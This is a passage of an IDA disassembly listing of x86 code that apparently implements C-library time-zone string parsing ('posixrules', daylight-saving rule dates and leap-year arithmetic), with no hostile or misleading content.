		jg	short loc_805A534

loc_805A575:				; CODE XREF: sub_805A254+2D6j
		xor	eax, eax

loc_805A577:				; CODE XREF: sub_805A254+1A0j
		lea	esp, [ebp+var_1D5C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A254	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805A584	proc near		; CODE XREF: sub_805AAC0+16p
					; sub_805AAC0+9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_805A5BA
		movzx	eax, dl
		mov	ebx, dword_8078FA0
		jmp	short loc_805A5AB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A59C:				; CODE XREF: sub_805A584+34j
		cmp	dl, 2Bh
		jz	short loc_805A5BA
		inc	ecx
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_805A5BA
		movzx	eax, dl

loc_805A5AB:				; CODE XREF: sub_805A584+16j
		test	byte ptr [ebx+eax*2+1],	8
		jnz	short loc_805A5BA
		mov	al, dl
		add	al, 0D4h
		cmp	al, 1
		ja	short loc_805A59C

loc_805A5BA:				; CODE XREF: sub_805A584+Bj
					; sub_805A584+1Bj ...
		mov	eax, ecx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805A584	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805A5C4	proc near		; CODE XREF: sub_805A634+17p
					; sub_805A634+47p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edi, [ebp+arg_C]
		test	ebx, ebx
		jz	short loc_805A628
		movzx	edx, byte ptr [ebx]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_805A628
		xor	edx, edx
		mov	al, [ebx]
		test	al, al
		jz	short loc_805A61A
		mov	esi, dword_8078FA0
		mov	[ebp+var_4], esi
		nop

loc_805A5F8:				; CODE XREF: sub_805A5C4+54j
		movzx	ecx, al
		mov	esi, [ebp+var_4]
		test	byte ptr [esi+ecx*2+1],	8
		jz	short loc_805A61A
		lea	eax, [edx+edx*8]
		lea	eax, [edx+eax-30h]
		lea	edx, [ecx+eax]
		cmp	edx, edi
		jg	short loc_805A628
		inc	ebx
		mov	al, [ebx]
		test	al, al
		jnz	short loc_805A5F8

loc_805A61A:				; CODE XREF: sub_805A5C4+28j
					; sub_805A5C4+3Fj
		cmp	[ebp+arg_8], edx
		jg	short loc_805A628
		mov	esi, [ebp+arg_4]
		mov	[esi], edx
		mov	eax, ebx
		jmp	short loc_805A62A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A628:				; CODE XREF: sub_805A5C4+11j
					; sub_805A5C4+20j ...
		xor	eax, eax

loc_805A62A:				; CODE XREF: sub_805A5C4+62j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A5C4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805A634	proc near		; CODE XREF: sub_805A6C8+32p
					; sub_805A720+ABp

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	18h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		call	sub_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jz	short loc_805A6B1
		mov	edx, [ebp+var_4]
		lea	eax, [edx+edx*2]
		lea	eax, [edx+eax*2]
		shl	eax, 5
		add	eax, edx
		shl	eax, 4
		mov	[ebx], eax
		cmp	byte ptr [ecx],	3Ah
		jnz	short loc_805A6BD
		inc	ecx
		push	3Bh
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		call	sub_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jz	short loc_805A6B1
		mov	eax, [ebp+var_4]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		shl	eax, 2
		add	[ebx], eax
		cmp	byte ptr [ecx],	3Ah
		jnz	short loc_805A6BD
		inc	ecx
		push	3Bh
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		call	sub_805A5C4
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_805A6B8

loc_805A6B1:				; CODE XREF: sub_805A634+23j
					; sub_805A634+53j
		xor	eax, eax
		jmp	short loc_805A6BF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A6B8:				; CODE XREF: sub_805A634+7Bj
		mov	esi, [ebp+var_4]
		add	[ebx], esi

loc_805A6BD:				; CODE XREF: sub_805A634+3Bj
					; sub_805A634+66j
		mov	eax, ecx

loc_805A6BF:				; CODE XREF: sub_805A634+7Fj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A634	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805A6C8	proc near		; CODE XREF: sub_805AAC0+64p
					; sub_805AAC0+CBp

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [ecx],	2Dh
		jnz	short loc_805A6E0
		mov	ebx, 1
		inc	ecx
		jmp	short loc_805A6F8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A6E0:				; CODE XREF: sub_805A6C8+Ej
		movzx	edx, byte ptr [ecx]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jnz	short loc_805A6F6
		mov	al, [ecx]
		inc	ecx
		cmp	al, 2Bh
		jnz	short loc_805A705

loc_805A6F6:				; CODE XREF: sub_805A6C8+25j
		xor	ebx, ebx

loc_805A6F8:				; CODE XREF: sub_805A6C8+16j
		push	esi
		push	ecx
		call	sub_805A634
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_805A70C

loc_805A705:				; CODE XREF: sub_805A6C8+2Cj
		xor	eax, eax
		jmp	short loc_805A714
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A70C:				; CODE XREF: sub_805A6C8+3Bj
		test	ebx, ebx
		jz	short loc_805A712
		neg	dword ptr [esi]

loc_805A712:				; CODE XREF: sub_805A6C8+46j
		mov	eax, ecx

loc_805A714:				; CODE XREF: sub_805A6C8+3Fj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A6C8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805A720	proc near		; CODE XREF: sub_805AAC0+100p
					; sub_805AAC0+122p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		cmp	byte ptr [ecx],	4Ah
		jnz	short loc_805A740
		mov	dword ptr [ebx], 0
		inc	ecx
		push	16Dh
		push	1
		jmp	short loc_805A7A8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805A740:				; CODE XREF: sub_805A720+Dj
		cmp	byte ptr [ecx],	4Dh
		jnz	short loc_805A78C
		mov	dword ptr [ebx], 2
		inc	ecx
		push	0Ch
		push	1
		lea	eax, [ebx+0Ch]
		push	eax
		push	ecx
		call	sub_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jz	short loc_805A7BB
		mov	al, [ecx]
		inc	ecx
		cmp	al, 2Eh
		jnz	short loc_805A7BB
		push	5
		push	1
		lea	eax, [ebx+8]
		push	eax
		push	ecx
		call	sub_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jz	short loc_805A7BB
		mov	al, [ecx]
		inc	ecx
		cmp	al, 2Eh
		jnz	short loc_805A7BB
		push	6
		jmp	short loc_805A7A6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A78C:				; CODE XREF: sub_805A720+23j
		movzx	edx, byte ptr [ecx]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_805A7BB
		mov	dword ptr [ebx], 1
		push	16Dh

loc_805A7A6:				; CODE XREF: sub_805A720+6Aj
		push	0

loc_805A7A8:				; CODE XREF: sub_805A720+1Dj
		lea	eax, [ebx+4]
		push	eax
		push	ecx
		call	sub_805A5C4
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jnz	short loc_805A7C0

loc_805A7BB:				; CODE XREF: sub_805A720+41j
					; sub_805A720+48j ...
		xor	eax, eax
		jmp	short loc_805A7DD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805A7C0:				; CODE XREF: sub_805A720+99j
		cmp	byte ptr [ecx],	2Fh
		jnz	short loc_805A7D4
		inc	ecx
		lea	eax, [ebx+10h]
		push	eax
		push	ecx
		call	sub_805A634
		mov	ecx, eax
		jmp	short loc_805A7DB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A7D4:				; CODE XREF: sub_805A720+A3j
		mov	dword ptr [ebx+10h], 1C20h

loc_805A7DB:				; CODE XREF: sub_805A720+B2j
		mov	eax, ecx

loc_805A7DD:				; CODE XREF: sub_805A720+9Dj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805A720	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805A7E4	proc near		; CODE XREF: sub_805AAC0+1BCp
					; sub_805AAC0+1D1p

var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_4]
		test	dl, 3
		jnz	short loc_805A810
		mov	eax, [ebp+arg_4]
		mov	edi, 64h
		cdq
		idiv	edi
		mov	ebx, edx
		test	ebx, ebx
		jnz	short loc_805A821

loc_805A810:				; CODE XREF: sub_805A7E4+19j
		mov	eax, [ebp+arg_4]
		mov	edi, 190h
		cdq
		idiv	edi
		mov	ebx, edx
		test	ebx, ebx
		jnz	short loc_805A828

loc_805A821:				; CODE XREF: sub_805A7E4+2Aj
		mov	[ebp+var_4], 1

loc_805A828:				; CODE XREF: sub_805A7E4+3Bj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		cmp	eax, 1
		jz	short loc_805A88C
		jg	short loc_805A840
		test	eax, eax
		jz	short loc_805A84C
		jmp	loc_805AAA8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A840:				; CODE XREF: sub_805A7E4+4Ej
		cmp	eax, 2
		jz	short loc_805A8AC
		jmp	loc_805AAA8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A84C:				; CODE XREF: sub_805A7E4+52j
		mov	edi, [ebp+arg_8]
		mov	edi, [edi+4]
		dec	edi
		lea	eax, [edi+edi*4]
		lea	eax, [edi+eax*4]
		lea	eax, [edi+eax*8]
		shl	eax, 2
		sub	eax, edi
		shl	eax, 7
		lea	esi, [eax+ecx]
		cmp	[ebp+var_4], 0
		jz	loc_805AAA8
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx+4], 3Bh
		jle	loc_805AAA8
		add	esi, 15180h
		jmp	loc_805AAA8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805A88C:				; CODE XREF: sub_805A7E4+4Cj
		mov	edi, [ebp+arg_8]
		mov	edi, [edi+4]
		lea	eax, [edi+edi*4]
		lea	eax, [edi+eax*4]
		lea	eax, [edi+eax*8]
		shl	eax, 2
		sub	eax, edi
		shl	eax, 7
		lea	esi, [eax+ecx]
		jmp	loc_805AAA8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805A8AC:				; CODE XREF: sub_805A7E4+5Fj
		mov	esi, ecx
		xor	ebx, ebx
		mov	edx, [ebp+arg_8]
		mov	edx, [edx+0Ch]
		dec	edx
		mov	[ebp+var_C], edx
		cmp	ebx, edx
		jge	loc_805A9B3
		mov	edi, [ebp+var_4]
		mov	eax, edi
		add	eax, edi
		add	eax, edi
		mov	ecx, eax
		shl	ecx, 4
		mov	eax, edx
		sub	eax, 0
		and	eax, 3
		jz	short loc_805A944
		cmp	eax, 1
		jle	short loc_805A922
		cmp	eax, 2
		jle	short loc_805A905
		mov	edx, dword ptr ds:unk_8068EC8[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		add	ecx, 4
		mov	ebx, 1

loc_805A905:				; CODE XREF: sub_805A7E4+FEj
		mov	edx, dword ptr ds:unk_8068EC8[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		add	ecx, 4
		inc	ebx

loc_805A922:				; CODE XREF: sub_805A7E4+F9j
		mov	edx, dword ptr ds:unk_8068EC8[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		add	ecx, 4
		inc	ebx
		cmp	[ebp+var_C], ebx
		jle	short loc_805A9B3

loc_805A944:				; CODE XREF: sub_805A7E4+F4j
					; sub_805A7E4+1CDj
		mov	edx, dword ptr ds:unk_8068EC8[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		mov	edx, dword ptr ds:unk_8068ECC[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		mov	edx, dword ptr ds:unk_8068ED0[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		mov	edx, dword ptr ds:unk_8068ED4[ecx]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	esi, eax
		add	ecx, 10h
		add	ebx, 4
		cmp	[ebp+var_C], ebx
		jg	short loc_805A944

loc_805A9B3:				; CODE XREF: sub_805A7E4+D8j
					; sub_805A7E4+15Ej
		mov	edx, [ebp+arg_8]
		mov	edx, [edx+0Ch]
		add	edx, 9
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	edi, 0Ch
		cdq
		idiv	edi
		mov	ecx, edx
		inc	ecx
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx+0Ch], 2
		jg	short loc_805A9DD
		dec	eax

loc_805A9DD:				; CODE XREF: sub_805A7E4+1F6j
		mov	edi, 64h
		cdq
		idiv	edi
		mov	ebx, edx
		mov	ecx, eax
		mov	edx, [ebp+var_C]
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	eax, [edx+eax-2]
		mov	[ebp+var_C], eax
		mov	edi, 0Ah
		cdq
		idiv	edi
		lea	eax, [eax+ebx+1]
		mov	[ebp+var_C], eax
		mov	eax, ebx
		test	eax, eax
		jge	short loc_805AA11
		add	eax, 3

loc_805AA11:				; CODE XREF: sub_805A7E4+228j
		sar	eax, 2
		add	[ebp+var_C], eax
		mov	eax, ecx
		test	ecx, ecx
		jge	short loc_805AA20
		lea	eax, [ecx+3]

loc_805AA20:				; CODE XREF: sub_805A7E4+237j
		sar	eax, 2
		add	[ebp+var_C], eax
		lea	eax, [ecx+ecx]
		sub	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	edi, 7
		cdq
		idiv	edi
		mov	[ebp+var_C], edx
		test	edx, edx
		jge	short loc_805AA44
		add	edx, 7
		mov	[ebp+var_C], edx

loc_805AA44:				; CODE XREF: sub_805A7E4+258j
		mov	edx, [ebp+arg_8]
		mov	ecx, [edx+4]
		sub	ecx, [ebp+var_C]
		jns	short loc_805AA52
		add	ecx, 7

loc_805AA52:				; CODE XREF: sub_805A7E4+269j
		mov	ebx, 1
		mov	edi, [ebp+arg_8]
		cmp	[edi+8], ebx
		jle	short loc_805AA95
		mov	edx, [ebp+var_4]
		mov	eax, edx
		add	eax, edx
		add	eax, edx
		shl	eax, 4
		mov	edx, [edi+0Ch]
		lea	edi, ds:0[edx*4]
		add	eax, edi
		mov	[ebp+var_C], eax
		lea	esi, [esi]

loc_805AA7C:				; CODE XREF: sub_805A7E4+2AFj
		lea	eax, [ecx+7]
		mov	edi, [ebp+var_C]
		cmp	dword ptr ds:asc_8068EC4[edi], eax ; "/"
		jle	short loc_805AA95
		mov	ecx, eax
		inc	ebx
		mov	edx, [ebp+arg_8]
		cmp	[edx+8], ebx
		jnz	short loc_805AA7C

loc_805AA95:				; CODE XREF: sub_805A7E4+279j
					; sub_805A7E4+2A4j
		lea	eax, [ecx+ecx*4]
		lea	eax, [ecx+eax*4]
		lea	eax, [ecx+eax*8]
		shl	eax, 2
		sub	eax, ecx
		shl	eax, 7
		add	esi, eax

loc_805AAA8:				; CODE XREF: sub_805A7E4+54j
					; sub_805A7E4+61j ...
		mov	eax, esi
		mov	edi, [ebp+arg_8]
		add	eax, [edi+10h]
		add	eax, [ebp+arg_C]
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805A7E4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805AAC0	proc near		; CODE XREF: sub_805AF2C+21p
					; sub_805AF5C+8Fp

var_64		= byte ptr -64h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_34], ebx
		cmp	[ebp+arg_8], 0
		jnz	short loc_805AAF8
		push	ebx
		call	sub_805A584
		mov	ebx, eax
		mov	ecx, ebx
		sub	ecx, [ebp+var_34]
		mov	[ebp+var_3C], ecx
		add	esp, 4
		cmp	ecx, 2
		jg	short loc_805AB1A

loc_805AAED:				; CODE XREF: sub_805AAC0+5Dj
					; sub_805AAC0+70j ...
		mov	eax, 0FFFFFFFFh
		jmp	loc_805AF20
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805AAF8:				; CODE XREF: sub_805AAC0+13j
		xor	al, al
		mov	edi, ebx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		mov	[ebp+var_3C], eax
		add	ebx, eax
		cmp	eax, 32h
		jbe	short loc_805AB1A
		mov	[ebp+var_3C], 32h

loc_805AB1A:				; CODE XREF: sub_805AAC0+2Bj
					; sub_805AAC0+51j
		cmp	byte ptr [ebx],	0
		jz	short loc_805AAED
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_805A6C8
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_805AAED
		mov	edi, [ebp+arg_4]
		push	edi
		push	offset aPosixrules ; "posixrules"
		call	sub_805A254
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_805AB4F
		mov	dword ptr [edi], 0

loc_805AB4F:				; CODE XREF: sub_805AAC0+87j
		cmp	byte ptr [ebx],	0
		jz	loc_805AE88
		mov	[ebp+var_38], ebx
		push	ebx
		call	sub_805A584
		mov	ebx, eax
		mov	ecx, ebx
		sub	ecx, [ebp+var_38]
		mov	[ebp+var_40], ecx
		add	esp, 4
		cmp	ecx, 2
		jle	loc_805AAED
		cmp	byte ptr [ebx],	0
		jz	short loc_805ABA0
		cmp	byte ptr [ebx],	2Ch
		jz	short loc_805ABA0
		cmp	byte ptr [ebx],	3Bh
		jz	short loc_805ABA0
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		call	sub_805A6C8
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_805ABAC
		jmp	loc_805AAED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ABA0:				; CODE XREF: sub_805AAC0+BAj
					; sub_805AAC0+BFj ...
		mov	edi, [ebp+var_4]
		add	edi, 0FFFFF1F0h
		mov	[ebp+var_8], edi

loc_805ABAC:				; CODE XREF: sub_805AAC0+D7j
		cmp	byte ptr [ebx],	2Ch
		jz	short loc_805ABBA
		cmp	byte ptr [ebx],	3Bh
		jnz	loc_805AD34

loc_805ABBA:				; CODE XREF: sub_805AAC0+EFj
		inc	ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	sub_805A720
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_805AAED
		mov	al, [ebx]
		inc	ebx
		cmp	al, 2Ch
		jnz	loc_805AAED
		lea	eax, [ebp+var_30]
		push	eax
		push	ebx
		call	sub_805A720
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_805AAED
		cmp	byte ptr [ebx],	0
		jnz	loc_805AAED
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+8], 2
		mov	dword ptr [ecx+4], 88h
		mov	edi, [ebp+var_8]
		neg	edi
		mov	[ecx+74Ch], edi
		mov	dword ptr [ecx+750h], 1
		mov	edi, [ebp+var_3C]
		inc	edi
		mov	[ecx+754h], edi
		mov	edi, [ebp+var_4]
		neg	edi
		mov	[ecx+75Ch], edi
		mov	dword ptr [ecx+760h], 0
		mov	dword ptr [ecx+764h], 0
		mov	esi, [ebp+arg_4]
		add	esi, 10h
		mov	ebx, [ebp+arg_4]
		add	ebx, 5D8h
		mov	[ebp+var_44], 0
		mov	[ebp+var_58], 7B2h
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805AC6C:				; CODE XREF: sub_805AAC0+267j
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_58]
		push	ecx
		mov	edi, [ebp+var_44]
		push	edi
		call	sub_805A7E4
		mov	[ebp+var_48], eax
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+var_58]
		push	ecx
		push	edi
		call	sub_805A7E4
		add	esp, 20h
		cmp	[ebp+var_48], eax
		jle	short loc_805ACB4
		mov	[esi], eax
		add	esi, 4
		mov	byte ptr [ebx],	1
		inc	ebx
		mov	edi, [ebp+var_48]
		mov	[esi], edi
		add	esi, 4
		mov	byte ptr [ebx],	0
		jmp	short loc_805ACC8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ACB4:				; CODE XREF: sub_805AAC0+1DCj
		mov	ecx, [ebp+var_48]
		mov	[esi], ecx
		add	esi, 4
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	[esi], eax
		add	esi, 4
		mov	byte ptr [ebx],	1

loc_805ACC8:				; CODE XREF: sub_805AAC0+1F2j
		inc	ebx
		mov	[ebp+var_54], 0
		mov	edi, [ebp+var_58]
		test	edi, 3
		jnz	short loc_805ACE9
		mov	eax, edi
		mov	ecx, 64h
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_805ACF8

loc_805ACE9:				; CODE XREF: sub_805AAC0+219j
		mov	eax, [ebp+var_58]
		mov	edi, 190h
		cdq
		idiv	edi
		test	edx, edx
		jnz	short loc_805ACFF

loc_805ACF8:				; CODE XREF: sub_805AAC0+227j
		mov	[ebp+var_54], 1

loc_805ACFF:				; CODE XREF: sub_805AAC0+236j
		mov	ecx, [ebp+var_54]
		mov	edx, ds:dword_8068F28[ecx*4]
		lea	eax, [edx+edx*4]
		lea	eax, [edx+eax*4]
		lea	eax, [edx+eax*8]
		shl	eax, 2
		sub	eax, edx
		shl	eax, 7
		add	[ebp+var_44], eax
		inc	[ebp+var_58]
		cmp	[ebp+var_58], 7F5h
		jle	loc_805AC6C
		jmp	loc_805AEBF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805AD34:				; CODE XREF: sub_805AAC0+F4j
		cmp	byte ptr [ebx],	0
		jnz	loc_805AAED
		test	esi, esi
		jnz	loc_805AAED
		mov	[ebp+var_4C], 0
		xor	ebx, ebx
		mov	[ebp+var_58], 0
		xor	esi, esi
		mov	[ebp+var_54], 0
		mov	edi, [ebp+var_54]
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+8], edi
		jle	loc_805AE13
		mov	edi, [ebp+var_8]
		neg	edi
		mov	[ebp+var_50], edi
		xor	eax, eax
		nop

loc_805AD78:				; CODE XREF: sub_805AAC0+34Dj
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [eax+ecx+750h], 0
		jz	short loc_805ADBC
		mov	edx, esi
		mov	esi, [eax+ecx+74Ch]
		add	esi, [ebp+var_8]
		test	ebx, ebx
		jz	short loc_805AD9D
		cmp	edx, esi
		jnz	loc_805AAED

loc_805AD9D:				; CODE XREF: sub_805AAC0+2D3j
		mov	ecx, [ebp+var_50]
		mov	edi, [ebp+arg_4]
		mov	[eax+edi+74Ch],	ecx
		mov	ecx, [ebp+var_3C]
		inc	ecx
		mov	[eax+edi+754h],	ecx
		mov	ebx, 1
		jmp	short loc_805ADFE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ADBC:				; CODE XREF: sub_805AAC0+2C3j
		mov	edx, [ebp+var_58]
		mov	edi, [ebp+arg_4]
		mov	edi, [eax+edi+74Ch]
		add	edi, [ebp+var_4]
		mov	[ebp+var_58], edi
		cmp	[ebp+var_4C], 0
		jz	short loc_805ADDD
		cmp	edx, edi
		jnz	loc_805AAED

loc_805ADDD:				; CODE XREF: sub_805AAC0+313j
		mov	edi, [ebp+var_4]
		neg	edi
		mov	ecx, [ebp+arg_4]
		mov	[eax+ecx+74Ch],	edi
		mov	dword ptr [eax+ecx+754h], 0
		mov	[ebp+var_4C], 1

